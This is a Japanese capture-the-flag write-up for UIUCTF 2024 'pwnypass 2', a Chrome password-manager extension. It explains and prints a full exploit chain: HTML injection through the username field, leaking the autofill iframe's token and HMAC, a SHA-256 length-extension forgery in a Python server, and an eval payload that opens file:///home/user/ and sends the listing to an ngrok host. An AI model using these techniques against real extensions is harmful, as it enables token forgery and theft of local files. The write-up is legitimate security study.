❤️

UIUCTF 2024 - pwnypass 2

2024/07/10に公開

UIUCTF 2024では、クリア者3人、498点という驚異の難易度となったpwnypass 2ですが、やっとクリアできました。一応前記事を読まなくてもわかるようにしたつもりです。

システムを読み解く

メッセージの形式

background.js
async function processMessage(request, sender) {
    await init();
    console.log(sender);
    console.log(request);
    if (sender.id !== chrome.runtime.id) return;

    if (request.action === "issue") {
        // generate token
        const ts = Math.floor(Date.now()/1000);
        const tab = sender.tab.id;
        const origin = await getOrigin(tab);
        console.log(tab);
        console.log(origin);
        const command = request.command;
        if (!commands.hasOwnProperty(command)) return;
        request.args.length = 2; // max 2 args
        if (request.args.some((arg) => arg.includes('|'))) return; // wtf, no.
        const args = request.args.join('|');
        console.log('issue successful!');

        const token = `${ts}|${tab}|${origin}|${command}|${args}`;
        return [token, await doHmac(token)];
    }

    if (request.action === "redeem") {
        // redeem a token
        const {token, hmac} = request;
        console.log(`redeeming ${token} ${hmac}`)
        if (await doHmac(token) !== hmac) return;
        let [ts, tab, origin, command] = token.split("|");
        if (parseInt(ts) + 60*5 < Math.floor(Date.now()/1000)) return;
        if (sender.tab.id !== parseInt(tab)) return;
        if (await getOrigin(parseInt(tab)) !== origin) return;
        console.log('redemption successful!');

        const args = token.split("|").slice(-2);
        return await commands[command](origin, ...args);
    }
}

background.jsは二種類のメッセージを受取り、それらはrequest.actionの値によって振り分けられる。

  • issueは、現在時間、タブ番号、オリジン、コマンドとその引数を受取り、それらを連結したトークンとそれを認証するHMACを返却する。
  • redeemは、トークンとHMACを受取り、トークンが偽装されていないことを検証し、実際にそれらを実行する

コマンドについては他にもあるが、今回の問題で使いたいのはこれ。

background.js
async function evaluate(_origin, data) {
    return eval(data);
}

メッセージの流れ

新しくパスワードを発行する場合

  1. クライアントページのinput要素に文字が入力されると、content.jsがコマンドwriteのイベントでissueを行い、最新のトークンを保持する。

  2. クライアントページの送信ボタンが入力されると、最新のトークンでredeemを行う

autofill.htmlに情報を表示する場合

  1. content.jsがreadイベントでissueを行う。
  2. 返ってきたtokenとHMACをクエリパラメータに付与したautofill.htmlをiframeでページに埋め込む
  3. autofill.jsがクエリパラメータに付与されたトークンでredeemを行う

ゴール

目的は、/home/user/??????????/flag-??????????/flag2.txtの内容を読むこと。?
の部分は不明

解法

  1. 不正なユーザー名を登録してautofill.htmlにインジェクションを行う
  2. インジェクションされたスクリプトで、autofill.htmlのオリジンと、トークンとHMACの一つを取得する。
  3. トークンとHMACにHash Length Extension Attackを仕掛けて、誤認証されるトークンを生成する
  4. evaluateイベントを利用して、chromeのfile:///スキームのページを開き、ディレクトリ名を特定後、ファイルを読む

2~4一つ一つでもめちゃくちゃ重いタスクでした(1はpwnypassでも利用しました)

ステップ1. autofill.htmlへのインジェクション

これはそのまま、usernameにタグを埋め込めば大丈夫。ポイントとしては、">で始めると(HTML自体は不正ですが)安定してインジェクションが可能。

以下は、ページを読み込むと自動でインジェクションを行うHTMLファイル。登録が完了すると、?stopクエリパラメータを付与して再読込みして、autofill.htmlの内容を更新する。このときに再度パスワードを登録しないようにした。

index.html
<html>
    <head>
        <script>
            const sleep = (t) => new Promise((r) => setTimeout(r, t));
            const params = new URLSearchParams(location.search);
            window.addEventListener("load", async () => {
                if(params.has("stop")) return;
                const $u = document.querySelector("input[type='text']");
                const $p = document.querySelector("input[type='password']");
                $u.value = `"\><タグ埋め込み />`;
                $p.value = "test";
                await sleep(500);
                $u.dispatchEvent(new Event("change"));
                await sleep(500);
                $p.form.dispatchEvent(new Event("submit"));
                await sleep(1000);
                window.location.assign("?stop")
            })
        </script>
    </head>
    <body>
        <form method="POST">
            <input name="username" type="text" style="width: 45%">
            <input name="password" type="password" style="width: 45%">
            <input name="submit" type="submit">
        </form>
    </body>
</html>

ステップ2: autofill.htmlへのURLとクエリパラメータの取得

埋め込まれたautofill.htmlはシャドウDOMを利用して埋め込まれている。

content.js
            const shadow = host.attachShadow({mode: 'closed'});

これによって、埋め込まれた要素にWebから直接アクセスすることはできないので、簡単にはURLを読み取ることはできない。

また、ステップ1でコードを実行したりiframeを埋め込むという発想もあるが、CSPの制約によってこれも不可

manifest.json
  "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'none';",

取得するには以下のようなHTMLファイルを生成する。

index2.html
<html>
    <head>
        <script >
            const src = window.frameElement.src;
            console.log(window.frameElement)
        </script>
    </head>
    <body>
    </body>
</html>

ステップ1で次を埋め込む

index.html
$u.value = `"\>\<meta http-equiv='refresh' content='0;URL=${window.location.origin}/index2.html'\>`;

そうすると、autofill.htmlは読み込まれるとindex2.htmlにリダイレクトされる。このとき、オリジンは自分の用意したものに変わるため、CSPの制約を抜けられる。また、window.frameElementは自身を埋め込むiframeの要素を参照できるが、リダイレクトされてもsrcのアトリビュートは変更しないためautofill.htmlへのURLを取得することができる。

ステップ3: Hash Length Extension Attack

ハッシュを利用した認証とは、次のような仕組みになっている

  1. ソルト+メッセージでハッシュを行う
  2. メッセージとハッシュを外部に公開する
  3. 再度ソルト+メッセージでハッシュを行い、前と一致することを確認する
    • ソルトの値を知らなければ偽装できない

Hash Length Extension Attack は、ソルトの内容を知らなくても、メッセージにさらに文字列を連結したときのメッセージのハッシュ値を求めることができる攻撃で、したがって、余分な文字列を追記したメッセージを認証させることができる。

詳しい解説記事に、実装方法が載っているが、今回はライブラリを利用した。

ここでメッセージがどのように作成・ハッシュ化されるか確認する。

background.js
    if (request.action === "issue") {
        // generate token
        const ts = Math.floor(Date.now()/1000);
        const tab = sender.tab.id;
        const origin = await getOrigin(tab);
        console.log(tab);
        console.log(origin);
        const command = request.command;
        if (!commands.hasOwnProperty(command)) return;
        request.args.length = 2; // max 2 args
        if (request.args.some((arg) => arg.includes('|'))) return; // wtf, no.
        const args = request.args.join('|');
        console.log('issue successful!');

        const token = `${ts}|${tab}|${origin}|${command}|${args}`;
        return [token, await doHmac(token)];
    }

メッセージは{ts}|{tab}|{origin}|{command}|{arg1}|{arg2}の形式であることがわかるが、argの数は2つまでと制限されており、一見メッセージを追記するとは難しそうに見える。

次にハッシュを行う箇所を見ると、

background.js
const s2a = (text) => Uint8Array.from(Array.from(text).map(letter => letter.charCodeAt(0)));
const doHmac = async (d) => toHexString(new Uint8Array(await crypto.subtle.digest('SHA-256', concat(keyArr, s2a(d)))));

async function initKey() {
    let keyIvString = await getStorage("key");
    if (keyIvString === undefined) {
        const newKey = new Uint8Array(32);
        crypto.getRandomValues(newKey);
        const newIv = new Uint8Array(16);
        crypto.getRandomValues(newIv);
        keyIvString = toHexString(newKey)+"|"+toHexString(newIv);
        await setStorage("key", keyIvString);
    }
    const [keyString, ivString] = keyIvString.split("|");
    keyArr = fromHexString(keyString);
    iv = fromHexString(ivString);
}

s2aは、文字列を受け取ってintの配列に変換する。doHmackeyArr(つまりソルト)とs2a(d)を連結してハッシュ関数に入れている。keyArrは32バイトのソルトであることがわかる。

このs2a関数には、0xff以上の文字を入力すると下1バイトのみしか残らないというバグがあることがわかる。javascriptは基本的にすべての文字がutf-8として扱われるので、2バイト以上の文字を入力することは可能だからである。

しかも、parseIntは数字以外が数字の後ろに付いていたとしても無視されるので、tabの後ろに数字でない文字列をくっつけても、このチェックは通過する。

background.js
if (sender.tab.id !== parseInt(tab)) return;

以上より、次のような変換を考える。

                                                  (?はパディングのヌル文字)
1720614636|974234124|https://xxx.ngrok.app|read||???????????????????????????????????????????????|https://xxx.ngrok.ap|evaluate|eval(atob(<base64 code>))
↓ 変換                 ↑下位2バイト
1720614492|974234124żŨŴŴŰĺįįŬůţšŬŨůųŴĺĹĹııżŲťšŤżżƀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĂƈ|https://xxx.ngrok.ap|evaluate|eval(atob(<base64 code>))

これで、トークンに文字列を追加しHash Length Extension Attackを行う準備が整った。

server.py
_, _, origin, _, _, _ = _token.split("|")

code = generateCode()

magic = HashTools.new("sha256")
_token, hmac = magic.extension(
    secret_length=32, 
    original_data=_token.encode(),
    append_data=f"|{origin}|evaluate|{code}|".encode(),
    signature=_hmac
)

cnt = 0
r = []
for i in range(len(_token)):
    if _token[i] == ord('|'):
        cnt += 1
    if cnt > 1 and cnt < 6:
        r.append(chr(_token[i] + 256))
    else:
        r.append(chr(_token[i]))
token = "".join(r)

pythonのツールを使いたいため、このようなフローになった

  1. index.htmlでステップ1を行い、index2.htmlへのリダイレクトを行うXSSを行う
  2. index2.htmlがステップ2を行い、index3.html?v=<autofill.htmlへのURL>にリダイレクトする
  3. vの値から、Hash Length Extension Attackを行ったtokenとhmacの値を計算し、index3.html?token=XXX&hmac=YYYにリダイレクト

evaluateのイベントを呼び出せるようになったので、任意のコードを実行できるようになった。

Step 4: ファイル探索

Chrome Extensionは通常のWebページよりも権限が強くて、新しいタブでページを開いて、そこでスクリプトを実行させたり、file://プロトコルでタブを開けたりする(仕様)。また、Chromeはfile://プロトコルでディレクトリを開くとディレクトリ内のファイル一覧が見れるので、ファイルの保存場所を特定できる。

(async () => {{
    const sleep = function(t) {{ return new Promise(function(r){{setTimeout(r, t)}}) }};
    const tab = await new Promise(function(res) {{
        chrome.tabs.create({{
            url: "file:///home/user/"
        }}, res);
    }});
    await sleep(500);
    const res = await new Promise(function(res) {{
        chrome.tabs.executeScript(tab.id, {{
            code: "document.body.innerText"
        }}, res);
    }});
    fetch("https://xxx.ngrok.app/ans?x=" + res)
    return 
}})()

実際のコード

index.html
<html>
    <head>
        <script>
            const sleep = (t) => new Promise((r) => setTimeout(r, t));
            const params = new URLSearchParams(location.search);
            window.addEventListener("load", async () => {
                if(params.has("stop")) return;
                const $u = document.querySelector("input[type='text']");
                const $p = document.querySelector("input[type='password']");
                $u.value = `"\>\<meta http-equiv='refresh' content='0;URL=${window.location.origin}/index2.html'\>`;
                $p.value = "test";
                await sleep(500);
                $u.dispatchEvent(new Event("change"));
                await sleep(500);
                $p.form.dispatchEvent(new Event("submit"));
                await sleep(1000);
                window.location.assign("?stop")
            })
        </script>
    </head>
    <body>
        <form method="POST">
            <input name="username" type="text" style="width: 45%">
            <input name="password" type="password" style="width: 45%">
            <input name="submit" type="submit">
        </form>
    </body>
</html>
index2.html
<html>
    <head>
        <script >
            window.location.assign("https://xxx.ngrok.app/index3.html?v=" + btoa(window.frameElement.src))
        </script>
    </head>
    <body>
    </body>
</html>
server.py
from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib
import base64
import urllib.parse
import HashTools


def generateCode():

    c = f"""
    (async () => {{
        const sleep = function(t) {{ return new Promise(function(r){{setTimeout(r, t)}}) }};
        const tab = await new Promise(function(res) {{
            chrome.tabs.create({{
                url: "file:///home/user/"
            }}, res);
        }});
        await sleep(500);
        const res = await new Promise(function(res) {{
            chrome.tabs.executeScript(tab.id, {{
                code: "document.body.innerText"
            }}, res);
        }});
        fetch("https://d48c9f70a4ce.ngrok.app/fake?x=" + res)
        return 
    }})()
    """

    return f"eval(atob('{base64.b64encode(c.encode()).decode()}'))"


class RedirectHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        query = urllib.parse.parse_qs(parsed.query)
        if "v" in query:
            url = urllib.parse.urlparse(base64.b64decode(query.get("v")[0]).decode("utf-8"))
            q = urllib.parse.parse_qs(url.query)
            _hmac = q.get("hmac")[0]
            _token = q.get("token")[0]
            _, _, origin, _, _, _ = _token.split("|")

            code = generateCode()

            magic = HashTools.new("sha256")
            _token, hmac = magic.extension(
                secret_length=32, 
                original_data=_token.encode(),
                append_data=f"|{origin}|evaluate|{code}|".encode(),
                signature=_hmac
            )

            cnt = 0
            r = []
            for i in range(len(_token)):
                if _token[i] == ord('|'):
                    cnt += 1
                if cnt > 1 and cnt < 6:
                    r.append(chr(_token[i] + 256))
                else:
                    r.append(chr(_token[i]))
            token = "".join(r)

            self.send_response(302)
            self.send_header('Location', f'{url.scheme}://{url.netloc}{url.path}?token={urllib.parse.quote(token)}&hmac={hmac}')
            self.end_headers()
            return
        super().do_GET()



def run(server_class=HTTPServer, handler_class=RedirectHandler, addr="localhost", port=9911):
    server_address = (addr, port)
    httpd = server_class(server_address, handler_class)
    print(f"Starting HTTP server on {addr}:{port}")
    httpd.serve_forever()

if __name__ == "__main__":
    run()

感想

  • Chrome Extensionの権限の強さにビビった。これ、本当に信用できる拡張機能しかインストールしちゃいけないやつですね
  • Hash Length Extension Attackは絶対に初見じゃ思いつかない上に、仕組みを理解するのが大変だったので、しっかり学べてよかった

Discussion